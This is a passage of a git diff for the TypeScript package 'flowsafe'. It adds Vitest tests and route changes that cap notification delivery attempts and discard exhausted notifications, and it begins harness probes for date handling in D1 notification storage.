deliveryAttempts: attempt, + lastDeliveryError: 'signal content policy failed', + lastDeliveryAttemptAt: now, + }); + if (attempt < 10) { + if (!current?.deliverAt) throw new Error('retry cursor missing'); + now = current.deliverAt; + } + } + expect( + await h.storage.getNotification({ + threadId: input.threadId, + id: record.id, + }), + ).toMatchObject({ + status: 'discarded', + deliveryReason: 'delivery-attempts-exhausted', + deliverAt: undefined, + summaryAt: undefined, + discardedAt: expect.any(Date), + }); + expect( + await h.storage.listDueNotifications({ now: new Date('2099-01-01') }), + ).toEqual([]); + expect(h.contentPolicy).toHaveBeenCalledTimes(10); + }); + + it.each([ + 10, + Number.MAX_SAFE_INTEGER, + ])('discards an already exhausted count of %s without target effects', async (deliveryAttempts) => { + const h = fixture(); + const record = await h.storage.createNotification({ + ...input, + summaryAt: new Date(0), + }); + await h.storage.updateNotification({ + threadId: input.threadId, + id: record.id, + deliveryAttempts, + lastDeliveryError: 'original refusal', + lastDeliveryAttemptAt: new Date(123), + }); + expect(await (await h.dispatch([record.id]))?.json()).toEqual({ + delivered: 0, + failed: 0, + discarded: 1, + }); + expect( + await h.storage.getNotification({ + threadId: input.threadId, + id: record.id, + }), + ).toMatchObject({ + status: 'discarded', + deliveryAttempts, + lastDeliveryError: 'original refusal', + lastDeliveryAttemptAt: new Date(123), + deliverAt: undefined, + summaryAt: undefined, + }); + expect(h.contentPolicy).not.toHaveBeenCalled(); + expect(h.consultRunCap).not.toHaveBeenCalled(); + expect(h.startIdleRun).not.toHaveBeenCalled(); + expect(h.calls).toEqual([]); + }); + + it('finishes the initial binding scan before terminalizing exhausted rows', async () => { + const h = fixture({ maxDeliveryAttempts: 1 }); + const exhausted = await h.storage.createNotification(input); + await h.storage.updateNotification({ + threadId: input.threadId, + id: exhausted.id, + deliveryAttempts: 1, + }); + const wrong = await h.storage.createNotification({ + ...input, + resourceId: 'other', + }); + const conditional = vi.spyOn( + h.storage, + 'updateNotificationDeliveryIfUnchanged', + ); + expect((await h.dispatch([exhausted.id, wrong.id]))?.status).toBe(404); + expect(conditional).not.toHaveBeenCalled(); + expect( + await h.storage.getNotification({ + threadId: input.threadId, + id: exhausted.id, + }), + ).toMatchObject({ status: 'pending', deliveryAttempts: 1 }); + }); + + it.each([ + 'initial', + 'fresh', + ] as const)('refuses a returned physical key mismatch at the %s read without writing', async (phase) => { + const h = fixture(); + const record = await h.storage.createNotification(input); + const get = h.storage.getNotification.bind(h.storage); + let reads = 0; + h.storage.getNotification = async (lookup) => { + const current = await get(lookup); + if (++reads === (phase === 'initial' ? 1 : 2) && current) + return { ...current, threadId: 'other-thread' }; + return current; + }; + const conditional = vi.spyOn( + h.storage, + 'updateNotificationDeliveryIfUnchanged', + ); + const response = await h.dispatch([record.id]); + expect(response?.status).toBe(phase === 'initial' ? 404 : 200); + if (phase === 'fresh') + expect(await response?.json()).toEqual({ + delivered: 0, + failed: 0, + skipped: 1, + }); + expect(conditional).not.toHaveBeenCalled(); + expect(h.contentPolicy).not.toHaveBeenCalled(); + expect( + await get({ threadId: input.threadId, id: record.id }), + ).toMatchObject({ status: 'pending', deliveryAttempts: 0 }); + }); + + it('does not send an exhausted selection after its observation changes', async () => { + const h = fixture({ maxDeliveryAttempts: 1 }); + const first = await h.storage.createNotification({ ...input, id: 'first' }); + await h.storage.updateNotification({ + threadId: input.threadId, + id: first.id, + deliveryAttempts: 1, + lastDeliveryError: 'old refusal', + }); + const second = await h.storage.createNotification({ + ...input, + id: 'second', + }); + await h.storage.updateNotification({ + threadId: input.threadId, + id: second.id, + status: 'delivered', + }); + const get = h.storage.getNotification.bind(h.storage); + h.storage.getNotification = async (lookup) => { + if (lookup.id === second.id) + await h.storage.createNotification({ + ...input, + id: first.id, + summary: 'replacement', + }); + return get(lookup); + }; + expect(await (await h.dispatch([first.id, second.id]))?.json()).toEqual({ + delivered: 0, + failed: 1, + skipped: 1, + }); + expect(await get({ threadId: input.threadId, id: first.id })).toMatchObject( + { status: 'pending', summary: 'replacement', deliveryAttempts: 0 }, + ); + expect(h.contentPolicy).not.toHaveBeenCalled(); + expect(h.startIdleRun).not.toHaveBeenCalled(); + }); + + it('captures policy and bound methods before store awaits and ignores body policy', async () => { + const storage = notificationStore(); + const record = await storage.createNotification(input); + const { agent } = mockAgent(); + const options = { + resolveAgent: () => agent, + resolveResourceId: () => 'acme_res', + resolveNotificationsStorage: async () => { + options.maxDeliveryAttempts = 100; + return storage; + }, + maxDeliveryAttempts: 1, + contentPolicy: () => ({ + allowed: false as const, + outcome: 'error' as const, + }), + }; + const conditional = vi.spyOn( + storage, + 'updateNotificationDeliveryIfUnchanged', + ); + const get = storage.getNotification.bind(storage); + storage.getNotification = async (lookup) => { + storage.updateNotificationDeliveryIfUnchanged = vi.fn(async () => { + throw new Error('mutated capability'); + }); + storage.getNotification = vi.fn(async () => { + throw new Error('mutated reader'); + }); + return get(lookup); + }; + const routes = createThreadSignalRoutes(options); + const response = await routes( + post('/signal/notifications/dispatch', { + notificationIds: [record.id], + agentId: 'agent', + resourceId: 'acme_res', + now: dispatchNow, + maxDeliveryAttempts: 100, + }), + scopeWith(undefined), + ); + expect(await response?.json()).toEqual({ + delivered: 0, + failed: 0, + discarded: 1, + }); + expect(conditional).toHaveBeenCalledOnce(); + expect( + await get({ threadId: input.threadId, id: record.id }), + ).toMatchObject({ status: 'discarded', deliveryAttempts: 1 }); + }); + + it.each([ + 'fresh-exhausted', + 'fresh-malformed', + 'fresh-failure', + 'read-failure', + ] as const)('uses the actual individual observation for %s', async (mode) => { + const h = fixture({ maxDeliveryAttempts: 2 }); + const record = await h.storage.createNotification(input); + const get = h.storage.getNotification.bind(h.storage); + const conditional = vi.spyOn( + h.storage, + 'updateNotificationDeliveryIfUnchanged', + ); + let reads = 0; + h.storage.getNotification = async (lookup) => { + if (++reads === 2) { + if (mode === 'read-failure') throw new Error('fresh read failed'); + await h.storage.updateNotification({ + ...lookup, + deliveryAttempts: mode === 'fresh-exhausted' ? 2 : 1, + lastDeliveryError: 'previous error', + }); + const current = await get(lookup); + if (!current) throw new Error('notification fixture missing'); + return mode === 'fresh-malformed' + ? { ...current, deliveryAttempts: null as unknown as number } + : current; + } + return get(lookup); + }; + const log = vi.spyOn(console, 'error').mockImplementation(() => undefined); + try { + expect(await (await h.dispatch([record.id]))?.json()).toEqual( + mode === 'fresh-failure' || mode === 'fresh-exhausted' + ? { delivered: 0, failed: 0, discarded: 1 } + : { delivered: 0, failed: 1 }, + ); + if (mode === 'fresh-malformed') + expect(conditional).not.toHaveBeenCalled(); + else expect(conditional).toHaveBeenCalledOnce(); + const current = await get({ threadId: input.threadId, id: record.id }); + expect(current?.deliveryAttempts).toBe( + mode === 'fresh-exhausted' || mode === 'fresh-failure' ? 2 : 1, + ); + expect(current?.lastDeliveryError).toBe( + mode === 'fresh-exhausted' || mode === 'fresh-malformed' + ? 'previous error' + : mode === 'read-failure' + ? 'fresh read failed' + : 'signal content policy failed', + ); + expect(h.contentPolicy).toHaveBeenCalledTimes( + mode === 'fresh-failure' ? 1 : 0, + ); + } finally { + log.mockRestore(); + } + }); + + it.each([ + null, + '1', + -1, + 0.5, + NaN, + Infinity, + Number.MAX_SAFE_INTEGER + 1, + ])('contains malformed selected attempts %s without guessing a receipt', async (deliveryAttempts) => { + const h = fixture(); + const malformed = await h.storage.createNotification(input); + const neighbor = await h.storage.createNotification(input); + const get = h.storage.getNotification.bind(h.storage); + h.storage.getNotification = async (lookup) => { + const current = await get(lookup); + if (!current) throw new Error('notification fixture missing'); + return lookup.id === malformed.id + ? { ...current, deliveryAttempts: deliveryAttempts as number } + : current; + }; + const conditional = vi.spyOn( + h.storage, + 'updateNotificationDeliveryIfUnchanged', + ); + const log = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + try { + expect( + await (await h.dispatch([malformed.id, neighbor.id]))?.json(), + ).toEqual({ delivered: 0, failed: 2 }); + expect(conditional).toHaveBeenCalledOnce(); + expect(conditional.mock.calls[0]?.[0].expected.id).toBe(neighbor.id); + expect(h.contentPolicy).toHaveBeenCalledOnce(); + expect( + await get({ threadId: input.threadId, id: malformed.id }), + ).toMatchObject({ deliveryAttempts: 0, lastDeliveryError: undefined }); + } finally { + log.mockRestore(); + } + }); + + it.each([ + 'summary', + 'individual', + ] as const)('detaches %s rendering and failure observations from mutable storage objects', async (mode) => { + const h = fixture(); + const first = await h.storage.createNotification({ + ...input, + id: 'first', + summary: 'original summary', + payload: { value: 'original payload' }, + ...(mode === 'summary' + ? { summaryAt: new Date(0), priority: 'low' as const } + : {}), + }); + const second = + mode === 'summary' + ? await h.storage.createNotification({ + ...input, + id: 'second', + summaryAt: new Date(0), + priority: 'low', + }) + : undefined; + const get = h.storage.getNotification.bind(h.storage); + const shared = await get({ threadId: input.threadId, id: first.id }); + if (!shared) throw new Error('notification fixture missing'); + h.storage.getNotification = async (lookup) => { + if (lookup.id === first.id) return shared; + shared.source = 'mutated-source'; + shared.summary = 'mutated summary'; + (shared.payload as { value: string }).value = 'mutated payload'; + shared.updatedAt.setTime(0); + return get(lookup); + }; + h.contentPolicy.mockImplementation(() => { + shared.summary = 'mutated after rendering'; + (shared.payload as { value: string }).value = 'mutated after rendering'; + shared.updatedAt.setTime(0); + return { allowed: false, outcome: 'error' }; + }); + const conditional = vi.spyOn( + h.storage, + 'updateNotificationDeliveryIfUnchanged', + ); + expect( + await ( + await h.dispatch(second ? [first.id, second.id] : [first.id]) + )?.json(), + ).toEqual({ delivered: 0, failed: second ? 2 : 1 }); + expect(h.contentPolicy.mock.calls[0]?.[0]).toMatchObject({ + text: expect.stringContaining( + mode === 'summary' ? 'test: 2' : 'original summary', + ), + }); + expect(conditional.mock.calls[0]?.[0].expected).toMatchObject({ + summary: 'original summary', + payload: '{"value":"original payload"}', + updatedAt: first.updatedAt.toISOString(), + }); + expect(await get({ threadId: input.threadId, id: first.id })).toMatchObject( + { deliveryAttempts: 1, summary: 'original summary' }, + ); + }); + + it('settles successful summary members before a later receipt write fails', async () => { + const h = fixture({ contentPolicy: undefined }); + const first = await h.storage.createNotification({ + ...input, + id: 'first', + priority: 'low', + summaryAt: new Date(0), + deliverAt: new Date('2099-01-01'), + }); + const second = await h.storage.createNotification({ + ...input, + id: 'second', + priority: 'low', + summaryAt: new Date(0), + deliverAt: new Date('2099-01-01'), + }); + const update = h.storage.updateNotification.bind(h.storage); + h.storage.updateNotification = async (patch) => { + if (patch.id === second.id && patch.summarySignalId) + throw new Error('second receipt failed'); + return update(patch); + }; + const conditional = vi.spyOn( + h.storage, + 'updateNotificationDeliveryIfUnchanged', + ); + expect(await (await h.dispatch([first.id, second.id]))?.json()).toEqual({ + delivered: 1, + failed: 1, + }); + expect(conditional).toHaveBeenCalledOnce(); + expect(conditional.mock.calls[0]?.[0].expected.id).toBe(second.id); + expect( + await h.storage.getNotification({ + threadId: input.threadId, + id: first.id, + }), + ).toMatchObject({ + summaryAt: undefined, + summarySignalId: 's', + deliveryAttempts: 0, + }); + expect( + await h.storage.getNotification({ + threadId: input.threadId, + id: second.id, + }), + ).toMatchObject({ + summaryAt: new Date(new Date(dispatchNow).getTime() + 1000), + deliverAt: new Date('2099-01-01'), + deliveryAttempts: 1, + lastDeliveryError: 'second receipt failed', + }); + }); + + it.each([ + 'individual', + 'summary', + 'denial', + ] as const)('preserves a committed %s receipt after general update response loss', async (mode) => { + const h = fixture({ + contentPolicy: + mode === 'denial' + ? () => ({ allowed: false, outcome: 'denied' }) + : undefined, + }); + const record = await h.storage.createNotification({ + ...input, + ...(mode === 'summary' + ? { priority: 'low' as const, summaryAt: new Date(0) } + : {}), + }); + const update = h.storage.updateNotification.bind(h.storage); + let receipt: NotificationRecord | null = null; + h.storage.updateNotification = async (patch) => { + receipt = await update(patch); + throw new Error('general update response lost'); + }; + const conditional = vi.spyOn( + h.storage, + 'updateNotificationDeliveryIfUnchanged', + ); + const get = vi.spyOn(h.storage, 'getNotification'); + expect(await (await h.dispatch([record.id]))?.json()).toEqual({ + delivered: 0, + failed: 1, + }); + expect(conditional).toHaveBeenCalledOnce(); + expect(get).toHaveBeenCalledTimes(mode === 'summary' ? 1 : 2); + expect( + await h.storage.getNotification({ + threadId: input.threadId, + id: record.id, + }), + ).toEqual(receipt); + expect(receipt).toMatchObject({ + deliveryAttempts: 0, + lastDeliveryError: undefined, + ...(mode === 'summary' + ? { summarySignalId: 's', summaryAt: undefined } + : mode === 'denial' + ? { status: 'discarded', deliveryReason: 'content-policy-denied' } + : { status: 'delivered', deliveredSignalId: expect.any(String) }), + }); + }); + + it.each([ + 'before', + 'after', + ] as const)('contains summary bookkeeping response loss %s commit and continues the plan', async (timing) => { + const h = fixture(); + const first = await h.storage.createNotification({ + ...input, + id: 'first', + priority: 'medium', + summaryAt: new Date(0), + }); + const second = await h.storage.createNotification({ + ...input, + id: 'second', + priority: 'medium', + summaryAt: new Date(0), + }); + const neighbor = await h.storage.createNotification({ + ...input, + id: 'neighbor', + priority: 'low', + }); + const write = h.storage.updateNotificationDeliveryIfUnchanged.bind( + h.storage, + ); + const conditional = vi + .spyOn(h.storage, 'updateNotificationDeliveryIfUnchanged') + .mockImplementation(async (patch) => { + if (patch.expected.id === first.id) { + if (timing === 'after') await write(patch); + throw new Error('bookkeeping response lost'); + } + return write(patch); + }); + const log = vi.spyOn(console, 'error').mockImplementation(() => { + throw new Error('logger failed'); + }); + try { + expect( + await (await h.dispatch([first.id, second.id, neighbor.id]))?.json(), + ).toEqual({ delivered: 0, failed: 3 }); + expect( + conditional.mock.calls.map(([patch]) => patch.expected.id), + ).toEqual([first.id, second.id, neighbor.id]); + expect(h.contentPolicy).toHaveBeenCalledTimes(2); + for (const id of [first.id, second.id, neighbor.id]) { + expect( + await h.storage.getNotification({ threadId: input.threadId, id }), + ).toMatchObject({ + deliveryAttempts: id === first.id && timing === 'before' ? 0 : 1, + lastDeliveryError: + id === first.id && timing === 'before' + ? undefined + : 'signal content policy failed', + }); + } + } finally { + log.mockRestore(); + } + }); + + it('starts an absent attempt counter at zero without discarding a summary-only receipt', async () => { + const h = fixture(); + const record = await h.storage.createNotification(input); + await h.storage.updateNotification({ + threadId: input.threadId, + id: record.id, + summarySignalId: 'old-summary', + }); + const get = h.storage.getNotification.bind(h.storage); + h.storage.getNotification = async (lookup) => { + const current = await get(lookup); + if (current) delete current.deliveryAttempts; + return current; + }; + expect(await (await h.dispatch([record.id]))?.json()).toEqual({ + delivered: 0, + failed: 1, + }); + expect( + await get({ threadId: input.threadId, id: record.id }), + ).toMatchObject({ + status: 'pending', + deliveryAttempts: 1, + summarySignalId: 'old-summary', + }); + expect(h.contentPolicy).toHaveBeenCalledOnce(); + }); + + it.each([ + 'before', + 'after', + ] as const)('counts conditional exhaustion response loss %s commit from its exact readback', async (timing) => { + const h = fixture({ maxDeliveryAttempts: 1 }); + const record = await h.storage.createNotification(input); + const write = h.storage.updateNotificationDeliveryIfUnchanged.bind( + h.storage, + ); + const conditional = vi + .spyOn(h.storage, 'updateNotificationDeliveryIfUnchanged') + .mockImplementation(async (patch) => { + if (timing === 'after') await write(patch); + throw new Error('exhaustion response lost'); + }); + const get = vi.spyOn(h.storage, 'getNotification'); + const log = vi.spyOn(console, 'error').mockImplementation(() => undefined); + try { + expect(await (await h.dispatch([record.id]))?.json()).toEqual( + timing === 'after' + ? { delivered: 0, failed: 0, discarded: 1 } + : { delivered: 0, failed: 1 }, + ); + expect(conditional).toHaveBeenCalledOnce(); + expect(get).toHaveBeenCalledTimes(3); + expect( + await h.storage.getNotification({ + threadId: input.threadId, + id: record.id, + }), + ).toMatchObject({ + status: timing === 'after' ? 'discarded' : 'pending', + deliveryAttempts: timing === 'after' ? 1 : 0, + }); + } finally { + log.mockRestore(); + } + }); + + it('retains dispatch time when a general receipt writer mutates its Date argument', async () => { + const h = fixture({ contentPolicy: undefined }); + const first = await h.storage.createNotification({ ...input, id: 'first' }); + const second = await h.storage.createNotification({ + ...input, + id: 'second', + deliverAt: new Date(new Date(dispatchNow).getTime() - 1), + }); + const update = h.storage.updateNotification.bind(h.storage); + h.storage.updateNotification = async (patch) => { + if (patch.id === first.id) { + patch.lastDeliveryAttemptAt?.setTime(0); + throw new Error('first general receipt failed'); + } + return update(patch); + }; + expect(await (await h.dispatch([first.id, second.id]))?.json()).toEqual({ + delivered: 1, + failed: 1, + }); + for (const id of [first.id, second.id]) { + expect( + await h.storage.getNotification({ threadId: input.threadId, id }), + ).toMatchObject({ lastDeliveryAttemptAt: new Date(dispatchNow) }); + } + }); +}); diff --git a/packages/flowsafe/src/signals/thread-do-routes.ts b/packages/flowsafe/src/signals/thread-do-routes.ts index 6e101403..21b13b0d 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.ts @@ -70,6 +70,7 @@ import { type ThreadScope, } from '../do-runner/index.js'; import { internalErrorResponse } from '../internal-error-response.js'; +import { positiveSafeInteger } from '../numeric-config.js'; import { createScheduleAgentDispatchReceipt, type ScheduleAgentDispatchAction, @@ -78,9 +79,15 @@ import { } from '../schedules/schedules-d1.js'; import type { AgentScheduleTarget } from '../schedules/tick.js'; import { - deferNotificationAfterFailure, + assertNotificationSourceKeysPatched, + captureNotificationDeliverySelection, + captureNotificationDeliveryStorage, + DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, MAX_NOTIFICATION_DISPATCH_IDS, + type NotificationDeliveryObservation, planNotificationDispatch, + recordNotificationDeliveryFailure, + reportNotificationDeliveryError, } from './notification-dispatch.js'; /** @@ -302,6 +309,8 @@ export interface ThreadSignalRoutesOptions { resolveNotificationsStorage?: ( scope: ThreadScope, ) => NotificationsStorage | Promise; + /** Failed delivery rounds before a pending notification is discarded. */ + maxDeliveryAttempts?: number; /** Target-side lease and receipt store for at-least-once schedule fires. */ resolveScheduleDispatchStore?: ( scope: ThreadScope, @@ -487,6 +496,10 @@ function signalContentPolicyResponse( export function createThreadSignalRoutes( options: ThreadSignalRoutesOptions, ): ThreadSignalRouter { + const maxDeliveryAttempts = positiveSafeInteger( + options.maxDeliveryAttempts ?? DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, + 'notification maximum delivery attempts', + ); const { resolveAgent, resolveResourceId, @@ -867,6 +880,7 @@ export function createThreadSignalRoutes( persistenceAllowed, memoryAvailable, storage: await resolveNotificationsStorage(scope), + maxDeliveryAttempts, agentId: requestedAgentId, inspectContent, proof, @@ -952,6 +966,7 @@ async function handleNotificationDispatch(options: { persistenceAllowed: boolean; memoryAvailable: MemoryAvailable; storage: NotificationsStorage; + maxDeliveryAttempts: number; agentId: string; inspectContent?: InspectSignalContent; proof?: SignalProofGuard; @@ -997,6 +1012,7 @@ async function handleNotificationDispatch(options: { if (Number.isNaN(now.getTime())) { return json({ error: 'now must be an ISO timestamp' }, 400); } + const nowMs = now.getTime(); const carriesBatchThreadState = Object.hasOwn( options.body, 'batchThreadState', @@ -1014,33 +1030,62 @@ async function handleNotificationDispatch(options: { ); } - const records: NotificationRecord[] = []; + assertNotificationSourceKeysPatched(); + const deliveryStorage = captureNotificationDeliveryStorage(options.storage); + const selections: ReturnType[] = + []; + // A record settles once: an already-discarded record must not be counted + // twice, nor have its content-policy reason overwritten by an unrelated + // storage error. `recordFailure` returns early for the same reason. + const settled = new Set(); + let delivered = 0; + let failed = 0; + let discarded = 0; let skipped = 0; + const settle = ( + id: string, + outcome: 'delivered' | 'failed' | 'discarded' | 'skipped', + ) => { + if (settled.has(id)) return; + settled.add(id); + if (outcome === 'delivered') delivered += 1; + else if (outcome === 'failed') failed += 1; + else if (outcome === 'discarded') discarded += 1; + else skipped += 1; + }; for (const id of uniqueIds) { - const current = await options.storage.getNotification({ + const current = await deliveryStorage.getNotification({ threadId: options.threadId, id, }); if (current?.status !== 'pending' || current.deliveredSignalId) { - skipped += 1; + settle(id, 'skipped'); continue; } if ( + current.id !== id || + current.threadId !== options.threadId || current.resourceId !== options.resourceId || current.agentId !== options.agentId ) { return json({ error: 'notification binding does not match' }, 404); } - const due = - (current.deliverAt !== undefined && - current.deliverAt.getTime() <= now.getTime()) || - (current.summaryAt !== undefined && - current.summaryAt.getTime() <= now.getTime()); - if (!due) { - skipped += 1; - continue; + try { + const selection = captureNotificationDeliverySelection(current); + const { record } = selection; + const due = + (record.deliverAt !== undefined && + record.deliverAt.getTime() <= nowMs) || + (record.summaryAt !== undefined && record.summaryAt.getTime() <= nowMs); + if (!due) { + settle(id, 'skipped'); + continue; + } + selections.push(selection); + } catch (error) { + settle(id, 'failed'); + reportNotificationDeliveryError(error); } - records.push(current); } const batchThreadState: 'active' | 'idle' = @@ -1052,21 +1097,24 @@ async function handleNotificationDispatch(options: { ? 'active' : 'idle'; - let delivered = 0; - let failed = 0; - let discarded = 0; - // Records whose terminal discard is already durable. A later throw in the - // same group funnels the group into `updateFailure`; without this, an - // already-discarded record would be counted twice and have its - // content-policy reason overwritten by an unrelated storage error. - const settledDiscards = new Set(); - const updateFailure = async (record: NotificationRecord, error: unknown) => { - if (isExecutionFenceRefusal(error)) throw error; - if (settledDiscards.has(record.id)) return; + const recordFailure = async ( + expected: NotificationDeliveryObservation | undefined, + action: { type: 'failure'; error: unknown } | { type: 'exhausted' }, + ) => { + if (action.type === 'failure' && isExecutionFenceRefusal(action.error)) + throw action.error; + if (!expected) throw new Error('notification observation is unavailable'); + if (settled.has(expected.id)) return; await options.proof?.check(); options.proof?.assertActive(); - failed += 1; - await deferNotificationAfterFailure(options.storage, record, now, error); + const outcome = await recordNotificationDeliveryFailure( + deliveryStorage, + expected, + new Date(nowMs), + options.maxDeliveryAttempts, + action, + ); + settle(expected.id, outcome === 'discarded' ? 'discarded' : 'failed'); }; const discardAfterDenial = async (record: NotificationRecord) => { await options.proof?.check(); @@ -1076,10 +1124,9 @@ async function handleNotificationDispatch(options: { threadId: record.threadId, status: 'discarded', deliveryReason: 'content-policy-denied', - lastDeliveryAttemptAt: now, + lastDeliveryAttemptAt: new Date(nowMs), }); - settledDiscards.add(record.id); - discarded += 1; + settle(record.id, 'discarded'); }; const inspect = async ( signal: AgentSignal, @@ -1178,12 +1225,22 @@ async function handleNotificationDispatch(options: { return result.signal.id; }; + const records: NotificationRecord[] = []; + const observations = new Map(); + for (const { record, expected } of selections) { + if (expected.deliveryAttempts >= options.maxDeliveryAttempts) { + await recordFailure(expected, { type: 'exhausted' }); + continue; + } + records.push(record); + observations.set(record.id, expected); + } + for (const item of planNotificationDispatch(records, now)) { if (item.type === 'summary') { - // Everything from rendering onward stays inside this try: a storage - // failure in the discard/failure bookkeeping below must be contained to - // this group, exactly as the individual branch contains its own, rather - // than escaping and abandoning the rest of the plan. + // A summary group's failure, from rendering through bookkeeping, is + // contained to this group rather than escaping and abandoning the rest + // of the plan. try { const signal = createNotificationSummarySignal( summarizeNotifications(item.records), @@ -1195,10 +1252,10 @@ async function handleNotificationDispatch(options: { } if (inspection === 'error') { for (const record of item.records) { - await updateFailure( - record, - new Error('signal content policy failed'), - ); + await recordFailure(observations.get(record.id), { + type: 'failure', + error: new Error('signal content policy failed'), + }); } continue; } @@ -1217,37 +1274,57 @@ async function handleNotificationDispatch(options: { threadId: record.threadId, summaryAt: null, summarySignalId: signalId, - lastDeliveryAttemptAt: now, + lastDeliveryAttemptAt: new Date(nowMs), }); - delivered += 1; + settle(record.id, 'delivered'); } } catch (error) { - for (const record of item.records) await updateFailure(record, error); + for (const record of item.records) { + await recordFailure(observations.get(record.id), { + type: 'failure', + error, + }); + } } continue; } const selected = item.record; + let expected = observations.get(selected.id); try { - const record = await options.storage.getNotification({ + const current = await deliveryStorage.getNotification({ threadId: selected.threadId, id: selected.id, }); + if ( + current?.status !== 'pending' || + current.deliveredSignalId || + current.id !== selected.id || + current.threadId !== options.threadId || + current.resourceId !== resourceId || + current.agentId !== options.agentId + ) { + settle(selected.id, 'skipped'); + continue; + } + // Clearing the pre-read observation keeps a failure between here and the + // re-capture from being recorded against stale state. + expected = undefined; + const selection = captureNotificationDeliverySelection(current); + const { record } = selection; + expected = selection.expected; const summaryDue = Boolean( - record?.summaryAt && record.summaryAt.getTime() <= now.getTime(), + record.summaryAt && record.summaryAt.getTime() <= nowMs, ); const deliveryDue = Boolean( - record?.deliverAt && record.deliverAt.getTime() <= now.getTime(), + record.deliverAt && record.deliverAt.getTime() <= nowMs, ); - if ( - record?.status !== 'pending' || - record.deliveredSignalId || - record.resourceId !== resourceId || - record.agentId !== options.agentId || - summaryDue || - !deliveryDue - ) { - skipped += 1; + if (summaryDue || !deliveryDue) { + settle(selected.id, 'skipped'); + continue; + } + if (expected.deliveryAttempts >= options.maxDeliveryAttempts) { + await recordFailure(expected, { type: 'exhausted' }); continue; } if ( @@ -1255,13 +1332,13 @@ async function handleNotificationDispatch(options: { record.summarySignalId && batchThreadState === 'active' ) { - skipped += 1; + settle(selected.id, 'skipped'); continue; } const signal = createNotificationSignal({ ...record, status: 'delivered', - deliveredAt: now, + deliveredAt: new Date(nowMs), }); const inspection = await inspect(signal); if (inspection === 'denied') { @@ -1269,7 +1346,10 @@ async function handleNotificationDispatch(options: { continue; } if (inspection === 'error') { - await updateFailure(record, new Error('signal content policy failed')); + await recordFailure(expected, { + type: 'failure', + error: new Error('signal content policy failed'), + }); continue; } const signalId = await send(signal); @@ -1280,11 +1360,16 @@ async function handleNotificationDispatch(options: { threadId: record.threadId, status: 'delivered', deliveredSignalId: signalId, - lastDeliveryAttemptAt: now, + lastDeliveryAttemptAt: new Date(nowMs), }); - delivered += 1; + settle(record.id, 'delivered'); } catch (error) { - await updateFailure(selected, error); + if (isExecutionFenceRefusal(error)) throw error; + if (expected) await recordFailure(expected, { type: 'failure', error }); + else { + settle(selected.id, 'failed'); + reportNotificationDeliveryError(error); + } } } diff --git a/packages/flowsafe/test-support/harness-probe.ts b/packages/flowsafe/test-support/harness-probe.ts index 062a764b..da7517f4 100644 --- a/packages/flowsafe/test-support/harness-probe.ts +++ b/packages/flowsafe/test-support/harness-probe.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import type { CreateNotificationInput } from '@mastra/core/notifications'; import { createEmptyWorkflowSnapshot } from '@mastra/core/storage'; import { z } from 'zod'; import { EXECUTION_FENCE_TABLE } from '#deployment-identity-protocol'; @@ -18,6 +19,7 @@ import type { ApprovalRecord } from '../src/approval-api/types.js'; import { createBackgroundTaskD1Domains } from '../src/background-tasks/d1-storage.js'; import { createD1Storage, + purgeExpiredNotifications, purgeExpiredThreads, purgeExpiredWorkflowRuns, type RunRetentionCursor, @@ -394,6 +396,266 @@ async function notificationProbe(db: D1Database): Promise { }; } +function createChronologyNotification( + storage: D1NotificationsStorage, + input: Partial, +) { + return storage.createNotification({ + threadId: 'thread-chronology', + source: 'source', + kind: 'kind', + summary: 'summary', + createdAt: new Date('2026-09-09T10:00:00.000Z'), + ...input, + }); +} + +async function notificationChronologyFutureProbe(db: D1Database) { + const storage = new D1NotificationsStorage(db, ''); + const outcomes = []; + for (const cursor of ['deliverAt', 'summaryAt'] as const) { + await createChronologyNotification(storage, { + id: 'future', + threadId: cursor, + resourceId: cursor, + [cursor]: new Date('+010000-01-01T00:00:00.000Z'), + }); + await createChronologyNotification(storage, { + id: 'due', + threadId: cursor, + resourceId: cursor, + [cursor]: new Date('2026-09-09T11:59:59.000Z'), + }); + const query = { + now: new Date('2026-09-09T12:00:00.000Z'), + resourceId: cursor, + }; + outcomes.push({ + cursor, + boundedIds: ( + await storage.listDueNotifications({ ...query, limit: 1 }) + ).map((record) => record.id), + dueIds: (await storage.listDueNotifications(query)).map( + (record) => record.id, + ), + }); + } + return outcomes; +} + +async function notificationChronologyOffsetsProbe(db: D1Database) { + const storage = new D1NotificationsStorage(db, ''); + const outcomes = []; + const fixtures = [ + { id: 'first', at: '2026-09-09T12:30:00.1239+02:00' }, + { id: 'second', at: '2026-09-09T09:45:00.123-0100' }, + { id: 'third', at: '2026-09-09T11:00:00.123Z' }, + ]; + for (const cursor of ['deliverAt', 'summaryAt'] as const) { + for (const fixture of fixtures) { + await createChronologyNotification(storage, { + id: fixture.id, + threadId: cursor, + resourceId: cursor, + }); + await db + .prepare( + `UPDATE mastra_notifications SET ${cursor} = ? + WHERE thread_id = ? AND id = ?`, + ) + .bind(fixture.at, cursor, fixture.id) + .run(); + } + const bounded = await storage.listDueNotifications({ + now: new Date('2026-09-09T10:30:00.123Z'), + resourceId: cursor, + limit: 1, + }); + const due = await storage.listDueNotifications({ + now: new Date('2026-09-09T12:00:00.000Z'), + resourceId: cursor, + }); + outcomes.push({ + cursor, + boundedIds: bounded.map((record) => record.id), + due: due.map((record) => ({ + id: record.id, + at: record[cursor]?.getTime() ?? null, + })), + rawCursor: await db + .prepare( + `SELECT ${cursor} AS cursor FROM mastra_notifications + WHERE thread_id = ? AND id = ?`, + ) + .bind(cursor, 'first') + .first<{ cursor: string }>(), + }); + } + return outcomes; +} + +async function notificationChronologyBoundsProbe(db: D1Database) { + const storage = new D1NotificationsStorage(db, ''); + const outcomes = []; + const fixtures = [ + { + name: 'negative', + past: '-000800-01-01T00:00:00.001Z', + now: '-000400-01-01T00:00:00.000Z', + future: '-000001-01-01T00:00:00.000Z', + }, + { + name: 'minimum', + past: '-271821-04-20T00:00:00.000Z', + now: '-271821-04-20T00:00:00.001Z', + future: '-271821-04-20T00:00:00.002Z', + }, + { + name: 'maximum', + past: '+275760-09-12T23:59:59.998Z', + now: '+275760-09-12T23:59:59.999Z', + future: '+275760-09-13T00:00:00.000Z', + }, + ]; + for (const fixture of fixtures) { + const scope = { threadId: fixture.name, resourceId: fixture.name }; + const now = new Date(fixture.now); + await createChronologyNotification(storage, { + 